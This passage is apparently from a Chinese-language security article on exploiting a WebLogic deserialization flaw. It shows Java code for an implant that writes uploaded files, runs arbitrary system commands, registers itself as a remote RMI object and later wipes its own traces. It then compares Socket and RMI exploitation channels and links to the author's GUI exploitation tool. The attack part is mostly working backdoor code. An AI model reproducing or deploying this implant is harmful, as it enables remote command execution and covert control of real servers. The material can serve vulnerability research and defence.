data, boolean append) { FileOutputStream out = null; try { out = new FileOutputStream(uploadPath, append); out.write(data); return true; } catch (Exception e) { e.printStackTrace(); return false; } finally { try { out.close(); } catch (Exception e) { e.printStackTrace(); return false; } } } /** * 执行命令 */ public String exec(String cmd) { try { Process proc = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader( proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; String result; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } result = sb.toString(); if ("".equals(result)) { return "error"; } else { return result; } } catch (Exception e) { e.printStackTrace(); return "error"; } } /** * 反注册远程类并清除残留文件 */ public void unbind(String path) { try { Context ctx = new InitialContext(); ctx.unbind("RemoteObject"); } catch (Exception e) { e.printStackTrace(); } FileOutputStream out = null; File file = null; try { file = new File(path); out = new FileOutputStream(file); out.write("".getBytes()); } catch (Exception e) { e.printStackTrace(); } finally { try { out.close(); } catch (Exception e) { e.printStackTrace(); } } } /** * 注册远程类 */ public static void bind() { try { RemoteObjectImpl remote = new RemoteObjectImpl(); Context ctx = new InitialContext(); ctx.bind("RemoteObject", remote); } catch (Exception e) { e.printStackTrace(); } } }
这样最后反注册和清除残留文件的时候就不需要再发送Payload了,只要调用远程类的unbind方法就行。

0x04 Socket VS RMI

VS Socket RMI 端口 需要额外端口可能被防火墙拦截 使用WebLogic本身端口 传输速率 通过Socket字节流较快 通过远程过程调用较慢

0x05 总结

这里以创建Socket服务器的思想实现了漏洞利用,我们可以继续扩展服务器的功能,甚至其他的代码执行漏洞也可以尝试这种方式,在传输较大文件时建议优先使用Socket方式。最后,我开发了GUI程序集成了Socket和RMI两种利用方式,大家可以自主选择。 Socket利用方式 RMI利用方式

下载链接:http://pan.baidu.com/s/1pKuR9GJ 密码:62x4

0x06 参考链接


-
http://www.freebuf.com/vuls/90802.html
-
http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/


JavaEE 基础,请求与响应中的风险,JDBC与ORM注入,自动化的SQL注入工具实现,解析MVC框架风险,程序架构与代码审计,常见的J2EE中间件安全,Java web服务器解析安全,Java Web常见后门,JBoss安全问题总结,J2EE框架远程代码执行原理,Tomcat 8009 端口的利用,表单数据绑定功能不安全实现在Tomcat下造成的DoS及RCE,资源文件映射的风险与利用,weblogic弱口令利用方式,利用Weblogic入侵总结,控制开放HTTPS的weblogic服务器,JBoss和Weblogic数据源连接字符串和控制台密码解密,JAVA反序列化漏洞完整分析与调试过程,JAVA服务器安全漫谈,追查Burpsuite的破解原理,Java安全编码之用户输入,java RMI 反序列化漏洞整合分析,反序列化工具ysoserial分析,Java 中的 POP 执行链,修复weblogic的反序列化漏洞的多种方法,Java EL 表达式注入,逆向基础 JAVA(一),逆向基础 JAVA(二),逆向基础 JAVA(三),逆向基础 JAVA(四),WebLogic 二进制文件上传,知识盒子,知识付费,在线教育